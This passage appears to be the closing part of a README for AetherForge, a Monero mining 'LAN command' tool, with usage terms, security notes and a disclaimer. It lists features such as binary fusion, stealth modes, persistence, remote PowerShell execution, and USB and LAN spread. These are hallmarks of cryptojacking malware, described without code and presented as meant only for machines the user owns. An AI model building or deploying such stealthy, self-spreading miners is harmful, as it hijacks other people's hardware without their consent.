AetherForge is designed and intended for **computers and networks you own or explicitly administer** — your home lab, your office fleet, machines where **you** have authority to install software and consume CPU/GPU resources.

By using this software you agree that:

1. **You will only deploy workers on systems you control** or have **written permission** to manage.
2. **You will not** install, fuse, or distribute forged binaries on third-party machines, public terminals, shared computers, or any system without the owner's informed consent.
3. **You will not** use Fusion, movie packages, stealth modes, persistence, remote execution, USB spread, or LAN spread features to deceive users about what software is running on their hardware.
4. **You are solely responsible** for compliance with local laws, employment policies, ISP terms, pool rules, and tax obligations related to cryptocurrency mining.

### What this is NOT

- **Not** a tool for unauthorized access, lateral movement, or deployment on machines you do not own.
- **Not** malware — but **misuse can make it indistinguishable from malware** under law and AV heuristics.
- **Not** anonymous. Mining connects to pools, leaves logs, and generates attributable network traffic.

### Security responsibility

- `data/users.json` stores **bcrypt hashes only**. First-run generates random passwords for **admin** and **comrade** (shown once in the console and `data/login-credentials.json`). Existing decks gain **comrade** automatically on the next server start if that account is missing.
- Protect the dashboard with strong passwords and network isolation. Do not expose port 8989 to the open internet.
- Remote command features (`powershell`, `exec`, file upload) are **full control** of a worker.
- Code signing, Defender exclusions, and network segmentation are **your** responsibility.

### Disclaimer

THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND. THE AUTHORS AND CONTRIBUTORS ARE NOT LIABLE FOR ANY DAMAGES, LEGAL ACTION, POOL BANS, DATA LOSS, HARDWARE DAMAGE, OR MISUSE BY YOU OR ANY THIRD PARTY.

**If you cannot accept these terms, do not run AetherForge.**

---

## License

Private use. Monero mining uses the RandomX algorithm (BSD-3-Clause) via `git.gammaspectra.live/P2Pool/go-randomx`.

---

<p align="center">
  <strong>AetherForge</strong> — LAN MINING COMMAND<br/>
  <sub>Calibrate · Forge · Deploy · Spread · Command</sub>
</p>